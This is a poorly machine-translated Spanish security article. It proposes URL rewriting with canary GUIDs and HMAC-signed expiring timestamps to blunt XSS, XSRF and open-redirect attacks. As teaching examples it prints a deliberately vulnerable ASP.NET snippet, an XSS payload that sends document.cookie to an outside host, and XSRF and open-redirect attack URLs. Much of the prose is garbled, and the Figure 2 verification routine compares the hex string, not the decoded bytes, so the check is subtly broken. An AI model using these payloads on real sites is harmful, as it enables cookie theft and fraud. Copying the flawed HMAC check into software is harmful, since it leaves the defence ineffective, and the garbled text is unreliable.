Seguridad Briefs
Proteger un sitio con la reescritura de dirección URL
Bryan Sullivan
Contenido
Revisar los problemas
Una solución posible: Localizadores de recursos personalizados
Una solución mejor: las direcciones URL Canary
Un enfoque stateless: caduque automáticamente las direcciones URL
El paso final
Algunas advertencias
Tim Berners-Lee una vez famoso escribió que "interesante URI no cambian." Su opinión era que hipervínculos rotos erode confianza del usuario en una aplicación y que los identificadores URI deben diseñarse de tal manera que puede permanecen invariables 200 años o más. Adentra territorio mientras comprender su punto, le desconocido estimar que cuando se efectuado esa instrucción no había foreseen las formas en que los hipervínculos se convierte en un medio para que los piratas informáticos atacar a los usuarios inocente tenga.
Los ataques como entre sitios secuencias de comandos (XSS), falsificación de solicitud entre sitios (XSRF) y redirección abierto phishing habitualmente se propagan por hipervínculos malintencionados envía en mensajes de correo electrónico. (Si no está familiarizado con estos ataques, es recomendable leer acerca de ellos en el Abrir Web Application Security (OWASP) de Project Web .) Se puede atenuar gran parte del riesgo de estos puntos vulnerables si cambian frecuentemente direcciones URL de nuestras, no una vez cada años 200 pero cada 10 minutos. Los atacantes ya no podrían tener aprovechar vulnerabilidades de la aplicación masiva enviar hipervínculos poisoned porque sería los vínculos rotos y no válido en el momento en que los mensajes alcanza sus víctimas deseados. Con todos los plazos respect para Tim Sir, mientras no pueden cambiar los identificadores URI "interesantes", seguro que sin duda hacer.
Revisar los problemas
Antes de que obtendremos en los detalles de una solución, echemos un vistazo más de cerca el problema. Aquí es vulnerable a un ataque XSS un ejemplo muy sencillo de algún código ASP.NET:
protected void Page_Load(object sender, EventArgs e)
{
// DO NOT USE - this is vulnerable code
Response.Write("Welcome back, " + Request["username"]);
}
El código es vulnerable, porque la página es escribir el parámetro de nombre de usuario de la solicitud vuelve en la respuesta sin ninguna validación o codificación. Un intruso podría aprovechar fácilmente esta vulnerabilidad por elaborar una dirección URL con script insertado en el parámetro de nombre de usuario, como:
page.aspx?username=<script>document.location= 'https://contoso.com/'+document.cookie;</script>
Ahora el atacante sólo necesita convencer a una víctima hacer clic en el vínculo. Mensajes de correo electrónico masivos son una manera eficaz para lograr esto, especialmente cuando un poco estratagemas sociales se aplica (por ejemplo, "Haga clic aquí para recibir la Xbox 360 libre!"). Direcciones URL malintencionadas similares se pueden construye y enviar por correo electrónico para aprovechar vulnerabilidades XSRF:
checking.aspx?action=withdraw&amount=1000&destination=badguy
and open-redirect vulnerabilities:
page.aspx?redirect=http://evil.contoso.com
Puntos vulnerables de apertura, redirección son menos conocidos de XSS y XSRF. Se producen cuando una aplicación permite que un usuario especifique una dirección URL de redireccionamiento arbitrarios en la solicitud. Esto puede provocar un ataque de suplantación de identidad en el que el usuario cree que está en un vínculo que le llevará a good.adatum.com, pero en realidad será redirigida a evil.contoso.com.
Una solución posible: Localizadores de recursos personalizados
Una solución posible para este problema es para que una aplicación reescribir sus direcciones URL para que están personalizados para cada usuario (o mejor aún, cada sesión de usuario). Por ejemplo, una aplicación podría volver a escribir contoso.com/page.aspx la dirección URL como contoso.com/{GUID}/page.aspx, donde {GUID} es aleatorio y únicos para cada sesión de usuario. Dado que hay 2 128 valores posibles de GUID, es fantastically improbable que un atacante podrían adivinar una válido, por lo que posiblemente que no podrían tener elaborar y una dirección URL válida y poisoned de correo electrónico.
ASP.NET ya tiene una funcionalidad similar creada en como parte de su capacidad de control de sesión sin cookies. Dado que algunos usuarios no se pueden o no acepta cookies HTTP, se puede configurar ASP.NET para almacenar IDENTIFICADOR de sesión del usuario en la dirección URL en su lugar. Puede habilitar esto con un simple cambio en el archivo web.config:
<sessionState cookieless="true" />
En más de inspección, sin embargo, vemos que este enfoque no realmente atenuar cualquiera de las vulnerabilidades de seguridad que nos preocupa, al igual que XSS. Es posible que el intruso no pueda adivinar una sesión válida GUID, pero realmente no tiene que. Puede iniciar su propia sesión, obtener un IDENTIFICADOR de sesión válido y, a continuación, atraer que una víctima mediante esa sesión por enviar por correo electrónico la dirección URL.
Incluso si otro usuario está utilizando esa sesión, el atacante no se impedirá que utilizarlo de forma simultánea y robar datos privados de la víctima. La aplicación no tiene ningún precisa medio para determinar que dos personas diferentes están utilizando la misma sesión, ciertamente la podría comprobar la dirección IP entrante, pero están hay muchas situaciones en que la dirección IP de un usuario único cambia legítimamente de una solicitud a petición ni varios usuarios comparten la misma dirección IP. Este ataque se denomina un ataque de fixation de sesión y es uno de los motivos por qué uso administración de sesiones sin cookies generalmente no se recomienda.
Una solución mejor: las direcciones URL Canary
Enormemente se puede mejorar la eficacia del enfoque de dirección URL personalizada mediante un pequeño cambio. En lugar de usando la dirección URL para almacenar el IDENTIFICADOR de sesión, se almacena el IDENTIFICADOR de sesión en una cookie como es habitual y utilizar la dirección URL para almacenar un secreto que se comparte entre el cliente y el servidor. Nos modificar el código rewriting de dirección URL para almacenar por sesión, único y el valor aleatorio tanto en el estado de sesión y como parte de la dirección URL:
// create the shared secret
Guid secret = Guid.NewGuid();
Session["secret"] = secret;
// rewrite the URL to include the secret value
...
(El código necesario para volver a escribir la dirección URL en realidad y analizar los valores de entrada no se aborda de este artículo. ASP.NET MVC se puede utilizar para este propósito, y Scott Guthrie tiene también blogged sobre dirección URL de ASP.NET para reescribir las técnicas.)
En cualquier solicitud, se compare el valor de los GUID almacenado en la dirección URL a la almacena en el estado de sesión. Si no coinciden, o si falta el GUID de la dirección URL, la solicitud se considera malintencionada, está bloqueado y se registra la dirección IP de origen. Esta defensa secreto compartido (también denominada una defensa canary) ha sido largo el enfoque recomendado para evitar ataques XSRF, pero como puede ver, lo hace un trabajo bastante buena de mitigar as well las vulnerabilidades XSS reflejadas por corte desactivar el vector de propagación de correo electrónico.
Es importante tener en cuenta que no es una solución completa contra XSS. La mejor manera de evitar XSS es resolver el origen del problema al validar los resultados de entrada y de codificación, pero se pueden aplicar canaries como capa adicional de defensa.
Un enfoque stateless: caduque automáticamente las direcciones URL
Aunque el enfoque de URL canary es una metodología buena y segura, tiene un punto débil: se basa en el estado de sesión del servidor. Si tiene una aplicación sin estado, como un servicio Web o una aplicación REST, probablemente no desea habilitar el estado de sesión sólo con el fin de almacenar valores canary.
En casos como éstos, puede alcanzar el objetivo general (impide los atacantes por correo electrónico malintencionados hipervínculos) sin necesidad de mantener estado de sesión del servidor mediante la implementación caduque automáticamente las direcciones URL. Una dirección URL que caduca un breve período de tiempo después de se solicita (10 minutos o lo) podría enormemente reducir la ventana de la oportunidad para un atacante a dicha dirección URL a víctimas potenciales de correo electrónico pero permitiendo que los usuarios legítimos suficiente tiempo para trabajar con el recurso.
Una forma para colocar una fecha de caducidad en una dirección URL es volver a escribir la dirección URL para incluir la marca de hora actual, como éste:
https://www.contoso.com/{timestamp}/page.aspx
Siempre que un usuario realiza una solicitud para el recurso, la marca de tiempo entrante en la dirección URL se comprueba para ver si es antiguas más de 10 minutos (o que el umbral de tiempo especificado es). Si es así, se denegó la solicitud. Una alternativa es escribir la hora de caducidad deseado en la dirección URL y, a continuación, comprobar en la hora actual. Sin embargo, ambos de estos métodos como presentó son errores ya que un atacante podría falsificar fácilmente una dirección URL que sería válida en algún momento en el futuro:
https://www.contoso.com/{current timestamp + one hour}/page.aspx
Este problema es aún peor si estás utilizando la dirección URL para contener la marca de tiempo caducidad en lugar de la marca de tiempo de solicitud inicial puesto que ahora el atacante puede especificar un punto arbitrariamente distante en el futuro y perder totalmente la defensa:
https://www.contoso.com/{current timestamp + ten years}/page.aspx
La solución a este problema es para evitar que los atacantes las modificaciones al enviar con la marca de tiempo mediante también incluye un hash con clave de la marca de fecha y hora en la dirección URL como tipo de un mensaje de hash con clave código de autenticación (HMAC). El hecho de que clave el valor hash es crítico: sin ello, un atacante podría volver a especificar una marca de tiempo futuro, calcular un valor hash para él y anular la defensa. Cuando la clave el hash con una clave secreta, ya no es posible.
Aunque MD5 es un algoritmo hash conocidas, se ya no considera segura, según los investigadores de criptografía han demuestra maneras de causar conflictos y, por tanto, romper el algoritmo. Una mejor opción es una de las funciones de SHA-2 (algoritmo de hash seguro), tales como SHA-256, que no se ha atacado correctamente de escribir este documento. SHA-256 se implementa mediante las clases de Microsoft .NET Framework System.Security.Cryptography.SHA256Cng, SHA256CryptoServiceProvider, SHA256Managed y HMACSHA256.
Cualquiera de estas funcionará, pero debido a que la clase HMACSHA256 tiene funcionalidad integrada para aplicar un valor de clave secreto, es la mejor opción:
HMACSHA256 hmac = new HMACSHA256(); // use a random key value
Utilizando el constructor de HMACSHA256 predeterminado aplica un valor de clave aleatorio a los hash, que debería ser suficiente para la seguridad, pero esto no funcionan en un entorno de conjunto de servidores ya que cada objeto HMACSHA256 tendrán una clave distinta. Si se va a implementar la aplicación de un conjunto de servidores, deberá especificar la clave en el constructor explícitamente y asegurarse de que la misma para todos los servidores del conjunto.
El paso siguiente es escribir la marca de tiempo junto con el hash con clave en la dirección URL. Como un detalle de implementación, tenga en cuenta que el resultado del método HMACSHA256.ComputeHash es una matriz de bytes, sino que tiene que convertir esto en una cadena de legal de URL porque se va a escribir, en la dirección URL saliente. Esta conversión es un poco más complicada que parece. Base64 se utiliza normalmente para convertir datos binarios arbitrarios en texto de la cadena, pero en base64 contiene caracteres como el signo igual (=) y la barra diagonal (/) que se causar problemas de análisis para ASP.NET incluso si son dirección URL codificada. En su lugar, debe convertir 1 byte de datos binarios a la vez en una cadena hexadecimal, tal como se muestra en la figura 1 .
Figura 1, generación de la marca de tiempo clave
private static string convertToHex(byte[] data)
{
System.Text.StringBuilder sb = new System.Text.StringBuilder(data.Length);
foreach (byte b in data)
sb.AppendFormat("{0:X2}", (int)b);
return sb.ToString();
}
private string generateKeyedTimestamp()
{
long outgoingTicks = DateTime.Now.Ticks;
// get a SHA2 hash value of the timestamp
byte[] timestampHash =
this.hmac.ComputeHash(System.BitConverter.GetBytes(outgoingTicks));
// return the current timestamp with the keyed hash value
return outgoingTicks.ToString() + "-" + convertToHex(timestampHash);
}
Por último, debe comprobar la marca de tiempo entrante recomputing su hash y asegurarse de que coincida con el hash entrante. El código se muestra en la figura 2 .
La Figura 2 comprobación de la marca de tiempo entrante
private static byte[] convertFromHex(string data)
{
// we know that the hex string must have an even number of digits
if ((data.Length % 2) != 0)
throw new ArgumentException();
byte[] dataHex = new byte[data.Length / 2];
for (int i = 0; i < data.Length; i = i + 2)
{
string hexByte = data.Substring(i, 2);
dataHex[i / 2] = (byte)Convert.ToByte(hexByte, 16);
}
return dataHex;
}
private bool verifyKeyedTimestamp(long incomingTicks, string incomingHmac)
{
if (String.IsNullOrEmpty(incomingHmac))
return false;
byte[] incomingHmacBytes = convertFromHex(incomingHmac);
// recompute the hash and verify that it matches the passed-in value
byte[] recomputedHmac =
this.hmac.ComputeHash(BitConverter.GetBytes(incomingTicks));
// perform byte-by-byte comparison on the arrays
if (incomingHmac.Length != recomputedHmac.Length)
return false;
for (int i = 0; i < incomingHmac.Length; i++)
{
if (incomingHmac[i] != recomputedHmac[i])
return false;
}
return true;
}
El paso final
Como paso final, independientemente de si se usa el método canary o el enfoque de caducidad automática, debe designar una o varias páginas de la aplicación como "páginas de destino" que se puede tener acceso sin el símbolo de dirección URL especial. Sin ello, nadie podrá usar la aplicación porque no podría haber se puede realizar una solicitud inicial válida.
Hay muchas formas en la que se pueden designar las páginas de destino, de codificar ellos en el rewriting módulo de código (definitivamente no recomendado) para especificarlos en un archivo web.config archivo (mejores), pero mi método preferido consiste en utilizar un atributo personalizado. Mediante un atributo personalizado reduce la cantidad de código necesita escribir y también permite la herencia: puede definir una clase LandingPage y aplique el atributo personalizado a esa clase, y, a continuación, cualquier página que se deriva de LandingPage también será una página de destino.
Empiece por definir una nueva clase de atributo personalizado denominada LandingPageAttribute. Esta clase en realidad no tiene que contener los métodos o propiedades. Sólo tiene que ser capaz de marcar las páginas con este atributo y poder determinar mediante programación si una página por lo que está marcada:
public class LandingPageAttribute : Attribute
{
}
Marcar ahora cualquier página que desea utilizar como una página de destino con el atributo LandingPage, como éste:
[LandingPage()]
public partial class HomePage : System.Web.UI.Page
Por último, en el código de comprobación de la dirección URL, compruebe si el controlador solicitado tiene el atributo personalizado. Si está implementando la dirección URL de volver a escribir código como un HttpModule, puede utilizar el código en la figura 3 para realizar la comprobación.
La figura 3 comprobación de la LandingPageAttribute personalizado
public class RewriteModule : IHttpModule
{
public void Init(HttpApplication context)
{
context.PostMapRequestHandler += new
EventHandler(context_PostMapRequestHandler);
}
void context_PostMapRequestHandler(object sender, EventArgs e)
{
HttpApplication application = sender as HttpApplication;
if ((application == null) || (application.Context == null))
return;
// get the current request handler
IHttpHandler httpHandler = application.Context.CurrentHandler;
if (httpHandler == null)
return;
// reflect into the handler type to look for a LandingPageAttribute
Type handlerType = httpHandler.GetType();
object[] landingPageAttributes =
handlerType.GetCustomAttributes(typeof(LandingPageAttribute),
true);
// allow access if we found any
bool allowAccess = (landingPageAttributes.Length > 0);
...
}
}
Utilice el atributo LandingPage con precaución. No sólo son la reescritura de defensas no es válido para el destino de páginas (debido a que un atacante podría simplemente quita símbolo (token) el dirección URL), pero una vulnerabilidad XSS en una página de destino único podría poner en peligro todas las páginas en el dominio. Un atacante puede insertar una serie de llamadas a XMLHttpRequest en la secuencia de comandos de cliente para determinar mediante programación un canary válido o una marca de tiempo y redirige su ataque según corresponda.
Si es posible, determinar una página de destino único de la aplicación y tiene que página inmediatamente redirigir a una página de volver a escribir la dirección URL después de la eliminación de todos los parámetros de cadena de consulta. Por ejemplo,
https://www.contoso.com/landingpage.aspx?a=b&c=d
podría redirigir automáticamente
https://www.contoso.com/(token)/otherpage.aspx
Algunas advertencias
Por supuesto, la reescritura de dirección URL no es adecuada para todas las aplicaciones. Un efecto de lado negativo de este enfoque es que aunque los atacantes ya no están capaz de correo electrónico malintencionados hipervínculos, los usuarios legítimos no de forma similar pueden desde enviar vínculos válido o incluso desde marcadores en las páginas de la aplicación. Cualquier página marcada como una página de destino podría estar marcado, pero como se mencionó antes, deberá tener mucho cuidado al utilizar las páginas de destino. Por lo tanto, si espera que los usuarios de la aplicación a las páginas de marcador no sea la página principal, la reescritura de dirección URL es probablemente no sea una buena solución para usted.
Además, aunque la reescritura de dirección URL es un mecanismo de defensa en profundidad rápido y fácil, es exactamente eso: defensa en profundidad. No es una viñeta plata contra XSS o los otros ataques. Una dirección URL automáticamente caducidad aún se puede aprovechar por un atacante con acceso a un servidor Web de su propia. En lugar de enviar malintencionados hipervínculos que apuntan directamente a la página vulnerable, puede enviar sin hipervínculos que señalan a su propio sitio. Póngase en contacto cuando su sitio recibe una detección de uno de los mensajes de correo electrónico phished, con una página de destino en el sitio vulnerable para obtener una marca de tiempo válida y, a continuación, redirigir al usuario en consecuencia.
Reescritura de dirección URL hacer trabajo el atacante más difícil: ahora tiene que convencer a un usuario para seguir un hipervínculo a su sitio Web (evil.contoso.com) en vez de una confianza uno (www.msn.com) y también deja una auditoría muy clara volver a su propia de la ley competentes para seguir. Sin embargo, esto se probablemente se de comodidad poco a cualquier víctimas que se encuentran el correo electrónico phished y tienen sus identidades robar como resultado. Utilizar reescritura de dirección URL como una medida de defensa adicional, pero siempre Asegúrese a las vulnerabilidades de dirección en la raíz del problema.
Por último, me gustaría tener en cuenta que las técnicas que he descritas en este artículo no deben interpretarse como guía de desarrollo de Microsoft autorizado. Por favor, no dude en utilizarlos, pero no toma como requisitos de ciclo de vida de desarrollo seguro (SDL). La puesta en nos están actualmente marcha continuo investigación en esta área de y se nos encanta obtener sus comentarios la. No dude en ponerse en contacto conmigo en (de blog SDL blogs.msdn.com/SDL) con los comentarios.
Envíe sus preguntas y comentarios a Briefs@Microsoft.com.
Bryan Sullivan es director de programas de seguridad para el equipo de ciclo de vida desarrollo de seguridad de Microsoft, en él está especializada en problemas de seguridad de aplicaciones Web. Su primer libro, Ajax Security, se ha publicado por Addison-Wesley en diciembre de 2007.